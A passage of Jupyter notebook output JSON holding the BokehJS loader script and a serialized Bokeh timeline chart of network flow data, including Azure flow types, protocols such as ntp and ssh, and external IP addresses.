element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"3116\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"b536aa9c-1803-485d-bb4a-d397433f83e4\" data-root-id=\"3544\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  var docs_json = {\"0fac9461-acf3-4fdc-9ab2-e47478a0153c\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"3118\"},{\"id\":\"3514\"}]},\"id\":\"3544\",\"type\":\"Column\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"3540\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3205\",\"type\":\"VBar\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"3580\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"3169\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"3579\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"end\":1550317205350.0002,\"start\":1549541873649.9998},\"id\":\"3517\",\"type\":\"Range1d\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3155\",\"type\":\"VBar\"},{\"attributes\":{\"data_source\":{\"id\":\"3203\"},\"glyph\":{\"id\":\"3205\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3206\"},\"selection_glyph\":null,\"view\":{\"id\":\"3208\"}},\"id\":\"3207\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"formatter\":{\"id\":\"3531\"},\"ticker\":{\"id\":\"3526\"}},\"id\":\"3525\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"10.0.3.4\",\"104.211.30.1\",\"104.211.30.1\",\"10.0.3.5\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"I\"],\"FlowStartTime\":{\"__ndarray__\":\"AIAxvI2OdkIAAAakjY52QgCAv0WPjnZCAIAxvI2OdkI=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"FlowType\":[\"IntraVNet\",\"IntraVNet\",\"IntraVNet\",\"IntraVNet\"],\"L7Protocol\":[\"ssh\",\"ssh\",\"ssh\",\"ssh\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAA8D8AAAAAAAAYQAAAAAAAAChAAAAAAAAA8D8=\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[4]},\"color\":[\"#8DD644\",\"#8DD644\",\"#8DD644\",\"#8DD644\"],\"index\":[209,210,211,212],\"y_index\":[5,5,5,5]},\"selected\":{\"id\":\"3476\"},\"selection_policy\":{\"id\":\"3477\"}},\"id\":\"3443\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"3584\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"top\":{\"field\":\"TotalAllowedFlows\"},\"width\":{\"value\":4},\"x\":{\"field\":\"FlowStartTime\"}},\"id\":\"3317\",\"type\":\"VBar\"},{\"attributes\":{},\"id\":\"3519\",\"type\":\"DataRange1d\"},{\"attributes\":{\"data\":{\"AllExtIPs\":[\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.179.17.38\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.179.17.38\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\",\"52.168.138.145\"],\"FlowDirection\":[\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\",\"O\"],\"FlowStartTime\":{\"__ndarray__\":\"AACO4u6OdkIAAI541o52QgAAjk7djnZCAACOuPWOdkIAAI649Y52QgAAjtDxjnZCAACODOiOdkIAAI424Y52QgAAjvrqjnZCAACOJOSOdkIAgE+K0452QgCAT6LPjnZCAIBP5MSOdkIAgE/MyI52QgAAjmDajnZCAIBP9sGOdkIAgE8Ovo52QgCATyC7jnZCAIBPOLeOdkIAgE9KtI52QgCAT2KwjnZCAIBPjKmOdkIAgE90rY52QgCAT56mjnZCAIBPtMyOdkIAgE/In452QgCAT7aijnZCAIBP4JuOdkIAgE/ymI52QgCATxySjnZCAIBPCpWOdkIAgE80jo52QgAAkZyHjnZCAIBPyYqOdkIAAGGhSY52QgAAYbNGjnZCAABhiU2OdkIAAGHLQo52QgAAYXdQjnZCAABhd1COdkIAAGHdP452QgAAYQc5jnZCAABh9TuOdkIAAGExMo52QgAAYT0wjnZCAABhHzWOdkIAgCKtyo12QgCAIr/HjXZCAIAi18ONdkIAgCLpwI12QgCAIiu2jXZCAIAiE7qNdkIAAOR+qI12QgAA5OqWjXZCAIClDD6NdkIAgKVOM412QgCApTY3jXZCAICleCyNdkIAgKW0Io12QgCApaIljXZCAIClzB6NdkIAgKXeG412QgCApYopjXZCAIClYDCNdkIAgKUkOo12QgCApfYXjXZCAIClCBWNdkIAgKUgEY12QgCApUoKjXZCAIClMg6NdkIAgKV0A412QgCApVwHjXZCAIClnvyMdkIAgKWGAI12QgCApS7ljHZCAICl2vKMdkIAgKUc6Ix2QgCApQTsjHZCAICliNaMdkIAgKWw+Yx2QgCApXDajHZCAIClyPWMdkIAgKXy7ox2QgCApV7djHZCAIClRuGMdkIAgKWa04x2QgCAIgG9jXZCAIAiVa+NdkIAgCJDso12QgAA5GyrjXZCAADklqSNdkIAAOSooY12QgAA5MCdjXZCAADk0pqNdkIAAOT8k412QgAA5FCGjXZCAADkaIKNdkIAAOQ+iY12QgAA5Hp/jXZCAADkpHiNdkIAAOSSe412QgAA5M5xjXZCAADkvHSNdkIAAOT4ao12QgAA5OZtjXZCAADkImSNdkIAAOQQZ412QgAA5DpgjXZCAADkTF2NdkIAAOR2Vo12QgAA5GRZjXZCAADkoE+NdkIAAOTQR412QgAA5BSQjXZCAADkuEuNdkIAAOT6QI12QgAA5OJEjXZCAADkJo2NdkIAAOSOUo12Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[119]},\"FlowType\":[\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\",\"AzurePublic\"],\"L7Protocol\":[\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\",\"ntp\"],\"TotalAllowedFlows\":{\"__ndarray__\":\"AAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAAEAAAAAAAAAAQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAFEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAABAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAAEEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAACEAAAAAAAAAIQAAAAAAAABBAAAAAAAAACEAAAAAAAAAQQAAAAAAAABBAAAAAAAAAEEAAAAAAAAAQQAAAAAAAAAhAAAAAAAAACEAAAAAAAAAQQA==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[119]},\"color\":[\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\",\"#35B778\"],\"index\":[86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204],\"y_index\":[4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4]},\"selected\":{\"id\":\"3408\"},\"selection_policy\":{\"id\":\"3409\"}},\"id\":\"3377\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"3581\",\"type\":\"DaysTicker\"},{\"attributes\":{\"label\":{\"value\":\"http\"},\"renderers\":[{\"id\":\"3207\"},{\"id\":\"3234\"}]},\"id\":\"3230\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3181\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"3582\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"3152\"}},\"id\":\"3157\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"3171\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"3150\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"source\":{\"id\":\"3315\"}},\"id\":\"3320\",\"type\":\"CDSView\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"3578\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3480\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"3443\"},\"glyph\":{\"id\":\"3480\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3481\"},\"selection_glyph\":null,\"view\":{\"id\":\"3483\"}},\"id\":\"3482\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"3583\",\"type\":\"DaysTicker\"},{\"attributes\":{\"items\":[{\"id\":\"3178\"},{\"id\":\"3230\"},{\"id\":\"3286\"},{\"id\":\"3346\"},{\"id\":\"3410\"},{\"id\":\"3478\"}]},\"id\":\"3177\",\"type\":\"Legend\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3586\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3523\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"3585\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"axis\":{\"id\":\"3525\"},\"ticker\":null},\"id\":\"3528\",\"type\":\"Grid\"},{\"attributes\":{\"data_source\":{\"id\":\"3533\"},\"glyph\":{\"id\":\"3535\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3536\"},\"selection_glyph\":null,\"view\":{\"id\":\"3538\"}},\"id\":\"3537\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"3152\"}},\"id\":\"3183\",\"type\":\"CDSView\"},{\"attributes\":{\"align\":\"right\",\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":{\"value\":\"10px\"}},\"id\":\"3530\",\"type\":\"Title\"},{\"attributes\":{\"source\":{\"id\":\"3203\"}},\"id\":\"3235\",\"type\":\"CDSView\"},{\"attributes\":{\"overlay\":{\"id\":\"3540\"},\"x_range\":{\"id\":\"3121\"},\"y_range\":null},\"id\":\"3539\",\"type\":\"RangeTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3481\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"3203\"}},\"id\":\"3208\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"3285\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"3588\",\"type\":\"YearsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"3539\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"3539\"}]},\"id\":\"3529\",\"type\":\"Toolbar\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"3587\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"3170\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3589\",\"type\":\"Selection\"},{\"attributes\":{\"source\":{\"id\":\"3443\"}},\"id\":\"3483\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"3228\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"3590\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"data_source\":{\"id\":\"3152\"},\"glyph\":{\"id\":\"3154\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3155\"},\"selection_glyph\":null,\"view\":{\"id\":\"3157\"}},\"id\":\"3156\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3176\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3349\",\"type\":\"Circle\"},{\"attributes\":{\"label\":{\"value\":\"ms-wbt-server\"},\"renderers\":[{\"id\":\"3319\"},{\"id\":\"3350\"}]},\"id\":\"3346\",\"type\":\"LegendItem\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.7},\"fill_color\":{\"field\":\"color\"},\"line_alpha\":{\"value\":0.7},\"line_color\":{\"field\":\"color\"},\"x\":{\"field\":\"FlowStartTime\"},\"y\":{\"field\":\"TotalAllowedFlows\"}},\"id\":\"3180\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"3203\"},\"glyph\":{\"id\":\"3232\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3233\"},\"selection_glyph\":null,\"view\":{\"id\":\"3235\"}},\"id\":\"3234\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"3577\"},{\"id\":\"3578\"},{\"id\":\"3579\"},{\"id\":\"3580\"},{\"id\":\"3581\"},{\"id\":\"3582\"},{\"id\":\"3583\"},{\"id\":\"3584\"},{\"id\":\"3585\"},{\"id\":\"3586\"},{\"id\":\"3587\"},{\"id\":\"3588\"}]},\"id\":\"3526\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"3174\",\"type\":\"YearsTicker\"},{\"attributes\":{\"label\":{\"value\":\"ftp\"},\"renderers\":[{\"id\":\"3156\"},{\"id\":\"3182\"}]},\"id\":\"3178\",\"type\":\"LegendItem\"},{\"attributes\":{\"data_source\":{\"id\":\"3152\"},\"glyph\":{\"id\":\"3180\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3181\"},\"selection_glyph\":null,\"view\":{\"id\":\"3183\"}},\"id\":\"3182\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"3533\"}},\"id\":\"3538\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d 